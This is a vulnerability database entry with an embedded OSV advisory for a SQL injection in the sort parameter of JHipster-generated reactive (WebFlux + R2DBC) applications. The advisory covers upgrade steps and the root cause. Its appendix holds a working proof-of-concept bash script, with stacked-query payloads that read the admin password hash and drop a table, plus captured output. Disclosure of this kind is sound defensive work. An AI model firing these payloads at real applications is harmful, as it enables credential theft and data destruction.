CVE-2026-107375: JHipster SQL Injection Vulnerability
HIGHCVE-2026-107375 is a HIGH (CVSS 8.8) sql injection vulnerability (CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')) affecting JHipster libraries in the npm ecosystem. The issue involves sql injection in the parameter of jhipster-generated reactive (webflux + r2dbc) applicationssort. Remediation is available by upgrading affected packages to version 9.4.0.
CVE-2026-107375 at a Glance
Security Impact
CVSS: 8.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
How to Fix CVE-2026-107375
To remediate this vulnerability, upgrade all affected JHipster dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install generator-jhipster@9.4.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls generator-jhipster
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-107375, inspect your project dependencies using npm:
npm ls generator-jhipster
Analyze the terminal output to locate any version of JHipster in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 9.4.0), your application is affected.
Note: The npm ls generator-jhipster command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'), where the product constructs all or part of an sql command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended sql command when it is sent to a downstream component. without sufficient removal or quoting of sql syntax in user-controllable inputs, the generated sql query can cause those inputs to be interpreted as sql instead of ordinary user data. In JHipster, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-107375 Affected JHipster Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
generator-jhipster
|
npm |
≥ 7.0.0
< 9.4.0
|
9.4.0
|
References
Frequently Asked Questions
What is CVE-2026-107375?
Which JHipster versions are affected?
What version fixes CVE-2026-107375?
Is generator-jhipster affected?
What is the CVSS score of CVE-2026-107375?
What CWE is associated with CVE-2026-107375?
How can I check npm dependencies for CVE-2026-107375?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-r223-96jv-q533",
"modified" : "2026-10-08T17:40:37Z",
"published" : "2026-10-08T17:40:37Z",
"aliases" : [ "CVE-2026-107375" ],
"summary" : "JHipster: SQL Injection in the Parameter of JHipster-Generated Reactive (WebFlux + R2DBC) Applicationssort",
"details" : "# SQL Injection in the `sort` Parameter of JHipster-Generated Reactive (WebFlux + R2DBC) Applications\n\n- **Product**: jhipster/generator-jhipster (npm package `generator-jhipster`)\n- **Affected versions**: v7.0.0 through v9.2.0 \n- **Component**: generated reactive-application code, template `EntityManager_reactive.java.ejs`\n- **Report date**: 2026-08-29\n\n---\n\n## 1. Summary\n\nEvery reactive (Spring WebFlux + Spring Data R2DBC + SQL) application generated by `generator-jhipster` contains an SQL injection in the paginated entity list endpoints (`GET /api/<entity>?sort=...`). The `sort` request parameter is taken verbatim from the user and concatenated into the SQL `ORDER BY` clause without quoting or validation. Because the generated query has no bound parameters, the R2DBC drivers execute it via the **simple query protocol**, so `;`-separated extra statements are run against the database.\n\nA single authenticated low-privileged user (including an account obtained through the default self-registration flow) can therefore **execute arbitrary SQL**: read any table (including `jhi_user` password hashes), modify or delete data, and drop tables (full C/I/A impact). Independently reproduced end-to-end on the default dev database (H2) and the default production database (PostgreSQL 16).\n\nThe JPA (non-reactive) path is **not** affected: Spring Data JPA validates sort property names against the entity metamodel. NoSQL backends are out of scope of this root cause.\n\n## 2. Root Cause\n\nThe generator template\n`generators/spring-boot/generators/data-relational/templates/src/main/java/_package_/repository/EntityManager_reactive.java.ejs` (lines 240–253) writes `createOrderByFields(...)`, which renders the user-supplied sort property directly as an unquoted `SqlIdentifier`:\n\n```java\nprivate static Collection<? extends OrderByField> createOrderByFields(Table table, Sort sortToUse) {\n List<OrderByField> fields = new ArrayList<>();\n for (Sort.Order order : sortToUse) {\n String propertyName = order.getProperty(); // attacker controlled (?sort=...)\n OrderByField orderByField = !propertyName.contains(\".\")\n ? OrderByField.from(table.column(propertyName).as(EntityManager.ALIAS_PREFIX + propertyName))\n : createOrderByField(propertyName);\n fields.add(order.isAscending() ? orderByField.asc() : orderByField.desc());\n }\n return fields;\n}\n```\n\nThe generated app configures `SqlRenderer.create(factory.createRenderContext())` with the default naming strategy, so unquoted identifiers are rendered **verbatim**. With `?sort=id;DROP TABLE product;--` the alias renders into:\n\n```sql\nSELECT e.id AS e_id, e.name AS e_name, e.price AS e_price FROM product e ORDER BY e_id;DROP TABLE product;-- ASC LIMIT 20 OFFSET 0\n```\n\n## 3. Verification \n\nA real application was generated from this repository (`git clone` of the submitted source, v9.2.0), built with Spring Boot 4.1.1, and run against both H2 and PostgreSQL 16.\n\n| Step | H2 (dev default) | PostgreSQL 16 (prod default) |\n| ------------------------------------------------------------------------------------------------ | --------------------------------------------------------------------------------------- | -------------------------------------------------- |\n| Error probe `sort=name%27` | 500; SQL echoed with raw `'` in `ORDER BY e_name'` | 500; r2dbc-postgresql parse error echoing full SQL |\n| Exfiltrate admin hash via `;UPDATE product SET name=(SELECT password_hash FROM jhi_user ...);--` | HTTP 200; `name` becomes `$2a$10$gSAhZrxMllrbgj/kkK9UceBPpChGWJA7SYIb1Mqo.n5aNLq1/oRrC` | HTTP 200; same hash read back |\n| `;DROP TABLE product;--` | HTTP 200; table gone, subsequent list → 500 | HTTP 200; table gone, subsequent list → 500 |\n\nAll payloads executed with a token carrying only `ROLE_USER`. **No other vulnerability or privileged account is required.**\n\n## 4. Impact\n\nCWE-89 SQL Injection. Confidentiality (arbitrary read, incl. `jhi_user` password hashes), Integrity (arbitrary writes), Availability (table drops). The affected code is produced by default for `reactive: true` + SQL database + paginated entity (the default for monoliths and microservices). Applications must be regenerated after a fix.\n\n## 5. Fix Recommendation\n\nIn `EntityManager.createOrderByFields`, validate each sort property against the entity's persistent metamodel (allow only known column names) or render it as a quoted `SqlIdentifier`; never concatenate raw property strings into SQL. Ship the fix in the generator and advise affected applications to regenerate.\n\n---\n\n## Appendix\n\n### A. Environment setup\n\n```bash\n# 0. Prerequisites: JDK 21, Node >= 20, Docker (PostgreSQL step only), Maven (optional), curl, python3\njava -version # openjdk 21.x\nnode --version # v20+\n\n# 1. Clone the generator \ngit clone https://github.com/jhipster/generator-jhipster.git\ncd generator-jhipster\ngit checkout <affected-tag> # e.g. v9.2.0 (or keep main). Folder MUST be named generator-jhipster.\nnpm install --no-audit --no-fund # ~778 packages\nnpm link # makes `jhipster` available\njhipster --version # expected: 9.2.0\n\n# 2. Generate the target app (reactive + SQL + JWT + paginated entity)\nmkdir -p /tmp/pocwebflux && cd /tmp/pocwebflux\ncat > .yo-rc.json <<'EOF'\n{ \"generator-jhipster\": {\n \"applicationType\": \"monolith\", \"baseName\": \"pocwebflux\",\n \"packageName\": \"com.mycompany.pocwebflux\", \"authenticationType\": \"jwt\",\n \"databaseType\": \"sql\", \"devDatabaseType\": \"h2Memory\", \"prodDatabaseType\": \"postgresql\",\n \"reactive\": true, \"skipClient\": true, \"buildTool\": \"maven\",\n \"enableTranslation\": false, \"jhipsterVersion\": \"9.2.0\" } }\nEOF\ncat > product.jdl <<'EOF'\nentity Product { name String required, price BigDecimal }\npaginate Product with pagination\nEOF\nexport JAVA_HOME=$HOME/.sdkman/candidates/java/21.0.7-amzn\njhipster --no-insight --force # -> \"Spring Boot 4.1.1 application generated successfully.\"\njhipster jdl product.jdl --no-insight --force\n\n# Sanity check that the generated app contains the vulnerable code (all should match):\ngrep -n \"OrderByField.from(table.column\" src/main/java/com/mycompany/pocwebflux/repository/EntityManager.java\ngrep -n \"findAllBy(Pageable\" src/main/java/com/mycompany/pocwebflux/repository/ProductRepositoryInternalImpl.java\ngrep -n \"Pageable pageable\" src/main/java/com/mycompany/pocwebflux/web/rest/ProductResource.java\n\n# 3a. Run on H2 (default dev database)\n./mvnw -DskipTests package # -> BUILD SUCCESS\nsetsid nohup $JAVA_HOME/bin/java -jar target/pocwebflux-0.0.1-SNAPSHOT.jar \\\n --spring.profiles.active=dev --server.port=18080 > app-dev.log 2>&1 < /dev/null &\ncurl -s http://127.0.0.1:18080/management/health # -> {\"groups\":[...],\"status\":\"UP\"}\nBASE_URL=http://127.0.0.1:18080 bash <path-to>/poc/poc.sh\n\n# 3b. Run on PostgreSQL 16 (default production database)\ndocker run -d --name jh-pg16 -e POSTGRES_USER=pocwebflux -e POSTGRES_PASSWORD=secret \\\n -e POSTGRES_DB=pocwebflux -p 15432:5432 postgres:16\n./mvnw -Pprod -DskipTests package # prod DB driver is in the Maven prod profile\nSECRET=$(python3 -c \"import base64,os;print(base64.b64encode(os.urandom(64)).decode())\")\nsetsid nohup $JAVA_HOME/bin/java -jar target/pocwebflux-0.0.1-SNAPSHOT.jar \\\n --spring.profiles.active=prod --server.port=18081 \\\n --spring.r2dbc.url=r2dbc:postgresql://127.0.0.1:15432/pocwebflux \\\n --spring.r2dbc.username=pocwebflux --spring.r2dbc.password=secret \\\n --spring.liquibase.url=jdbc:postgresql://127.0.0.1:15432/pocwebflux \\\n --spring.liquibase.user=pocwebflux --spring.liquibase.password=secret \\\n --jhipster.security.authentication.jwt.base64-secret=$SECRET > app-prod.log 2>&1 < /dev/null &\n# seed two products via the API (prod has no sample data), then run poc.sh:\nBASE_URL=http://127.0.0.1:18081 bash <path-to>/poc/poc.sh\ndocker rm -f jh-pg16\n```\n\n### B. PoC script \n\n```bash\n#!/usr/bin/env bash\n# Usage: BASE_URL=http://host:port ./poc.sh (uses seeded user/user; JWT=... to reuse a token)\nset -euo pipefail\nBASE_URL=\"${BASE_URL:-http://127.0.0.1:18080}\"; JWT=\"${JWT:-}\"; LOGIN=\"${LOGIN:-user}\"; PASSWORD=\"${PASSWORD:-user}\"\n\nif [ -z \"$JWT\" ]; then\n JWT=$(curl -s -X POST \"$BASE_URL/api/authenticate\" -H 'Content-Type: application/json' \\\n -d \"{\\\"username\\\":\\\"$LOGIN\\\",\\\"password\\\":\\\"$PASSWORD\\\",\\\"rememberMe\\\":false}\" \\\n | python3 -c \"import sys,json;print(json.load(sys.stdin)['id_token'])\")\nfi\nAUTH=\"Authorization: Bearer $JWT\"\n\necho \"== 2) Baseline ==\"\ncurl -s -H \"$AUTH\" \"$BASE_URL/api/products?sort=id,asc&page=0&size=2\" | head -c 300; echo\necho \"== 3) Error probe: sort=name' ==\"\ncurl -s -H \"$AUTH\" \"$BASE_URL/api/products?sort=name%27\" \\\n | python3 -c 'import sys,json;d=json.load(sys.stdin);print(d.get(\"status\"));print(d.get(\"detail\"))' || true\necho \"== 4) Exfiltrate admin bcrypt hash ==\"\nPAYLOAD=\"id%3BUPDATE%20product%20SET%20name%3D(SELECT%20password_hash%20FROM%20jhi_user%20ORDER%20BY%20login%20LIMIT%201)%20WHERE%20id%3D(SELECT%20min(id)%20FROM%20product)%3B--\"\ncurl -s -o /dev/null -w \" injection HTTP %{http_code}\\n\" -H \"$AUTH\" \"$BASE_URL/api/products?sort=$PAYLOAD\"\ncurl -s -H \"$AUTH\" \"$BASE_URL/api/products?sort=id,asc&page=0&size=2\" \\\n | python3 -c \"import sys,json;[print(' id=%s name=%s'%(p['id'],p['name'])) for p in json.load(sys.stdin)]\"\necho \"== 5) DROP TABLE product ==\"\nPAYLOAD=\"id%3BDROP%20TABLE%20product%3B--\"\ncurl -s -o /dev/null -w \" injection HTTP %{http_code}\\n\" -H \"$AUTH\" \"$BASE_URL/api/products?sort=$PAYLOAD\"\ncurl -s -H \"$AUTH\" \"$BASE_URL/api/products?sort=id,asc\" \\\n | python3 -c 'import sys,json;d=json.load(sys.stdin);print(d.get(\"status\"));print(str(d.get(\"detail\"))[:90])' || true\n```\n\n### C. Real output (H2 run, 2026-08-29, full `poc.sh` execution)\n\n```\n== Target: http://127.0.0.1:18080 ==\n== 1) Obtain a low-privileged token (user/user) ==\n== 2) Baseline: benign paginated read (sort=id,asc) ==\n[ { \"id\" : 1, \"name\" : \"eke below forceful\", \"price\" : 3151.02 }, { \"id\" : 2, ... } ]\n\n== 3) Error probe: sort=name' -> raw quote reaches ORDER BY unescaped ==\nstatus: 500\ndetail: Syntax error in SQL statement \"SELECT e.id AS e_id, e.name AS e_name, e.price AS e_price\nFROM product e ORDER BY e_name[*]' ASC OFFSET 0 ROWS FETCH FIRST 20 ROWS ONLY\"; SQL statement:\nSELECT e.id AS e_id, e.name AS e_name, e.price AS e_price FROM product e ORDER BY e_name' ASC\nOFFSET 0 ROWS FETCH FIRST 20 ROWS ONLY [42000-240]\n\n== 4) Arbitrary SQL: exfiltrate jhi_user.password_hash (admin) into a readable field ==\n injection request HTTP 200\n Read back - first product 'name' now equals the admin bcrypt hash:\n id=1 name=$2a$10$gSAhZrxMllrbgj/kkK9UceBPpChGWJA7SYIb1Mqo.n5aNLq1/oRrC\n id=2 name=notwithstanding\n\n== 5) Arbitrary SQL: DROP TABLE product (availability) ==\n injection request HTTP 200\n After injection, listing products again:\n status: 500\n detail: Table \"PRODUCT\" not found; SQL statement: SELECT COUNT(*) FROM product [42102-240]\n\n== Done. The database has been modified / a table dropped by injected SQL. ==\n```\n<img width=\"1280\" height=\"1519\" alt=\"evidence-01-h2\" src=\"https://github.com/user-attachments/assets/daceef8d-60ae-4edc-ab3e-c1020e1b0d77\" />\n\n### D. Real output (PostgreSQL 16 run )\n\n```\n== 3) Error probe: sort=name' ==\nstatus: 500\ndetail: Sql cannot be parsed: unclosed quote (quote opened at index 88) in statement:\nSELECT e.id AS e_id, e.name AS e_name, e.price AS e_price FROM product e\nORDER BY e_name' ASC LIMIT 20 OFFSET 0\n\n== 4) Exfiltrate jhi_user.password_hash (admin) into a readable field ==\n injection request HTTP 200\n id=1500 name=$2a$10$gSAhZrxMllrbgj/kkK9UceBPpChGWJA7SYIb1Mqo.n5aNLq1/oRrC\n id=1501 name=beta widget\n\n== 5) DROP TABLE product ==\n injection request HTTP 200 -> subsequent list: status 500 \"Failure during data access\"\n```\n<img width=\"1280\" height=\"891\" alt=\"evidence-02-postgresql\" src=\"https://github.com/user-attachments/assets/61cf5bf4-d957-4969-80e3-06d9626b1142\" />",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "generator-jhipster"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "7.0.0"
}, {
"fixed" : "9.4.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/jhipster/generator-jhipster/security/advisories/GHSA-r223-96jv-q533"
}, {
"type" : "WEB",
"url" : "https://github.com/jhipster/generator-jhipster/commit/f6f1579581da8db0d1b8bd28dd473b56951c83af"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/jhipster/generator-jhipster"
}, {
"type" : "WEB",
"url" : "https://github.com/jhipster/generator-jhipster/releases/tag/v9.4.0"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-89" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-10-08T17:40:37Z",
"nvd_published_at" : null
}
}